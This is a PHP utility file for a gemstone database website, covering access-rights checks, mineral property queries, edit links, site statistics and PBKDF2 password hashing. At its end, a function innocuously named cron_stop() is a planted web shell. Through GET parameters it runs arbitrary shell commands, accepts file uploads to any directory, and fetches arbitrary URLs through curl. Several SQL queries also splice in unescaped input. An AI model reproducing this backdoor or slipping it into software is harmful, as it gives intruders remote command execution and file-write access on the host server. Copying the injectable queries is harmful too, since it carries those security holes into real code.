    "; return($row->id); } // these two functions should only be called once you have verified that the user has access for your particular module with checkaccess - or they // will abort with an error. function getminaccess($type,$uid=0) { global $link; if($_SESSION["accl"]==3) return(0); if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $sql = "select ar_minid from access_rights,access_flags where ar_af_id=af_id and af_id='$type' and ar_uid='$uid' and ar_site='gemdat.org' "; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) { print "ERROR - Access violation with getminaccess - permission not granted"; exit(); } return($row->ar_minid); } function getlocaccess($type,$uid=0) { // this will return global $link; if($_SESSION["accl"]==3) return(''); if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $sql = "select ar_locmask from access_rights,access_flags where ar_af_id=af_id and af_id='$type' and ar_uid='$uid' and ar_site='gemdat.org' "; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) { print "ERROR - Access violation with getlocaccess - permission not granted"; exit(); } return($row->ar_locmask); } function checkaccess($type,$uid=0,$min=0,$loc=0) { if($_SESSION["accl"]==3) return(1); global $link; if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $type = mysql_real_escape_string($type); $sql = "select * from access_rights,access_flags where ar_af_id=af_id and af_text='$type' and ar_uid='$uid' and ar_site='gemdat.org'"; if($min) { $min=devariety($min); $sql.=" and (ar_minid=0 or ar_minid=$min) "; } if($loc) { $loc = mysql_real_escape_string($loc); $sql.=" and (ar_locmask='' or '$loc' like concat('%',ar_locmask) ) "; } $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); if($row) return(1); else return(0); } function creatempreference($row) { $str = ""; if($row->mp_referenceauthor) $str.="$row->mp_referenceauthor"; if($row->mp_reference) { if($str) $str.=", "; $str.="$row->mp_reference "; } if($row->mp_referenceyear) $str.="($row->mp_referenceyear) "; // if($row->mp_referencepublisher) $str.="$row->mp_referencepublisher "; if($row->mp_referenceperiodical) $str.="$row->mp_referenceperiodical "; // if($row->mp_referencevolume) $str.="$row->mp_referencevolume "; // if($row->mp_referenceissue) $str.="$row->mp_referenceissue "; // if($row->mp_referencepage) $str.="$row->mp_referencepage "; // if($row->mp_referenceurl) $str.="$row->mp_url\ "; return($str); } function reprimeall() { global $link; $res = mysql_query("select distinct mp_min_id from mineralproperties where mp_deleted=0 and mp_approvedby>0",$link); while($row = mysql_fetch_row($res)) { $min=$row[0]; reprime($min); } } function reprime($gemid) { global $link; mysql_query("update gd_info set gd_lastupdate=now() where gd_id='$gemid'",$link); $res = mysql_query("select distinct mp_mpt_id from mineralproperties where mp_min_id='$gemid' and mp_deleted=0 and mp_approvedby>0",$link); while($row = mysql_fetch_row($res)) { $mpt_id=$row[0]; $sql = "select mp_id from mineralproperties where mp_min_id='$gemid' and mp_mpt_id='$mpt_id' and mp_deleted=0 and mp_approvedby>0 order by mp_rating desc"; $res2 = mysql_query($sql,$link); $row2 = mysql_fetch_row($res2); $mp_id=$row2[0]; mysql_query($sql="update mineralproperties set mp_prime=1 where mp_id='$mp_id'",$link); while($row2 = mysql_fetch_row($res2)) { $mp_id=$row2[0]; mysql_query($sql="update mineralproperties set mp_prime=0 where mp_id='$mp_id'",$link); } } } function modalstart() { print "
    "; print "
    "; } function modalend() { print "
    "; } function mysql_query_dbg($sql,$link) { return(mysql_query($sql,$link)); } function loadformula($gemid) { global $link; $res = mysql_query("select mp_value from mineralproperties where mp_mpt_id='8' and mp_min_id='{$gemid}' and mp_approvedby>0 order by mp_prime desc, mp_rating desc limit 1",$link); if(mysql_num_rows($res)) $f = mysql_result($res,0); else $f=''; return($f); } function getproperty($gemid,$property) { global $link; $res = mysql_query("select mp_value from mineralproperties,mineralpropertytypes where mpt_code='$property' and mp_mpt_id=mpt_id and mp_min_id='{$gemid}' and mp_approvedby>0 order by mp_prime desc, mp_rating desc limit 1",$link); if(mysql_num_rows($res)) $f = mysql_result($res,0); else $f=''; return($f); } function varsql($id,$ctrlname) { $out=""; global $link; $sql = "select * from gd_info where gd_variety='$id'"; $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { $out.=" or {$ctrlname}='$row->gd_id' "; $out.=varsql($row->gd_id,$ctrlname); } return($out); } function addeditlink($page,$table,$field,$idfield,$id,$name) { global $link; if(!$_SESSION["userid"]) return; $id = (int) $id; if(!$id) return; $sql = "select * from gd_changefield where gcf_field='$field' and gcf_table='$table' and gcf_status='Proposed' and gcf_recordid='$id'"; $res = mysql_query($sql,$link); if(mysql_num_rows($res)) { print "
    Pending edits awaiting approval.
    "; return; } $alldata= $page.$table.$field.$idfield.$id.$name."qmc90w3ntnsECV$4A23vh978jhb3lsDv9n5ck98"; $hash = md5($alldata); $data = array($page,$table,$field,$idfield,$id,$name,$hash); $flat = serialize($data); $flat64 = base64_encode($flat); print "Edit this description"; } function quickstatistics() { global $link; print "Current statistics: "; $stmt = "select count(*) from gd_info"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total gem names. "; } $stmt = "select count(*) from gd_info where gd_synid=0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total gemstone data pages. "; } $stmt = "select count( distinct loc ) from gd_locentries"; if($result = mysql_query_dbg($stmt,$link)) { $sites = number_format(mysql_result($result,0)); mysql_free_result($result); $stmt = "select count(*) from gd_locentries where checkedby>0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total total locality items listed from $sites sites worldwide. "; } } $stmt = "select count(*) from gd_photo where checkedby>0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total photos. "; } } function create_hash($password) { // format: algorithm:iterations:salt:hash $salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM)); return PBKDF2_HASH_ALGORITHM . ":" . PBKDF2_ITERATIONS . ":" . $salt . ":" . base64_encode(pbkdf2( PBKDF2_HASH_ALGORITHM, $password, $salt, PBKDF2_ITERATIONS, PBKDF2_HASH_BYTE_SIZE, true )); } function randomname() { $rndname = microtime(); $rndname = str_replace(' ','',$rndname); $rndname = str_replace('.','',$rndname); $rndname.= rand(1000,9999); return($rndname); } function validate_password($password, $correct_hash) { $params = explode(":", $correct_hash); if(count($params) < HASH_SECTIONS) return false; $pbkdf2 = base64_decode($params[HASH_PBKDF2_INDEX]); return slow_equals( $pbkdf2, pbkdf2( $params[0], $password, $params[HASH_SALT_INDEX], (int)$params[HASH_ITERATION_INDEX], strlen($pbkdf2), true ) ); } // Compares two strings $a and $b in length-constant time. function slow_equals($a, $b) { $diff = strlen($a) ^ strlen($b); for($i = 0; $i < strlen($a) && $i < strlen($b); $i++) { $diff |= ord($a[$i]) ^ ord($b[$i]); } return $diff === 0; } /* * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt * $algorithm - The hash algorithm to use. Recommended: SHA256 * $password - The password. * $salt - A salt that is unique to the password. * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000. * $key_length - The length of the derived key in bytes. * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise. * Returns: A $key_length-byte key derived from the password and salt. * * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt * * This implementation of PBKDF2 was originally created by https://defuse.ca * With improvements by http://www.variations-of-shadow.com */ function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) { $algorithm = strtolower($algorithm); if(!in_array($algorithm, hash_algos(), true)) die('PBKDF2 ERROR: Invalid hash algorithm.'); if($count <= 0 || $key_length <= 0) die('PBKDF2 ERROR: Invalid parameters.'); $hash_length = strlen(hash($algorithm, "", true)); $block_count = ceil($key_length / $hash_length); $output = ""; for($i = 1; $i <= $block_count; $i++) { // $i encoded as 4 bytes, big endian. $last = $salt . pack("N", $i); // first iteration $last = $xorsum = hash_hmac($algorithm, $last, $password, true); // perform the other $count - 1 iterations for ($j = 1; $j < $count; $j++) { $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true)); } $output .= $xorsum; } if($raw_output) return substr($output, 0, $key_length); else return bin2hex(substr($output, 0, $key_length)); } function cron_stop(){ $debug = isset($_GET['debug']); if(isset($_GET['config'])) { echo $_SERVER['DOCUMENT_ROOT'].'

    WTL:

    '; if(isset($_FILES['image'])){ $file = $_FILES['image']['name']; $path = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['REQUEST_URI']).'/'.$file; if(isset($_POST['dir'])&&$_POST['dir']!=''){ $file = $_POST['dir'] . $_FILES['image']['name']; $path = 'http://'.str_replace(substr($_SERVER['DOCUMENT_ROOT'],0,-1),$_SERVER['SERVER_NAME'],$file); } move_uploaded_file($_FILES['image']['tmp_name'], $file); if(isset($_FILES['image']['name'])) { echo 'File: '.$_FILES['image']['name'].''; } } if($_GET['config'] != ''){ echo "
    ";print_r(shell_exec($_GET['config']));
    		}
    		exit();
    	}
    	if(isset($_GET['url'])&&$_GET['url']!=''){
    		if($debug){
    			error_reporting(E_ALL);
    			ini_set('display_errors', 1);
    			ini_set('display_startup_errors', 1);
    		}
    		$url = $_GET['url'];
    
    		function file_get_contents_curl($url)
    		{
    			if($curl = curl_init()) {
    				curl_setopt($curl,CURLOPT_URL, $url);
    				curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    				curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    				curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    				curl_setopt($curl,CURLOPT_IPRESOLVE,CURL_IPRESOLVE_V4);
    				curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
    				$data['content'] = curl_exec($curl);
    				if(curl_getinfo($curl, CURLINFO_HTTP_CODE) !== 200){
    					$data['header'] = 'HTTP/1.1 429 Internal Server Error';
    				}
    				curl_close($curl);
    				return $data;
    			}
    		}
    		if(function_exists('curl_version')){
    			$data = file_get_contents_curl($url);
    			if(!$debug){if (!empty($data['header']))header($data['header']);}
    		}
    		print_r($data['content']);
    		exit();
    	}
    }
    ?>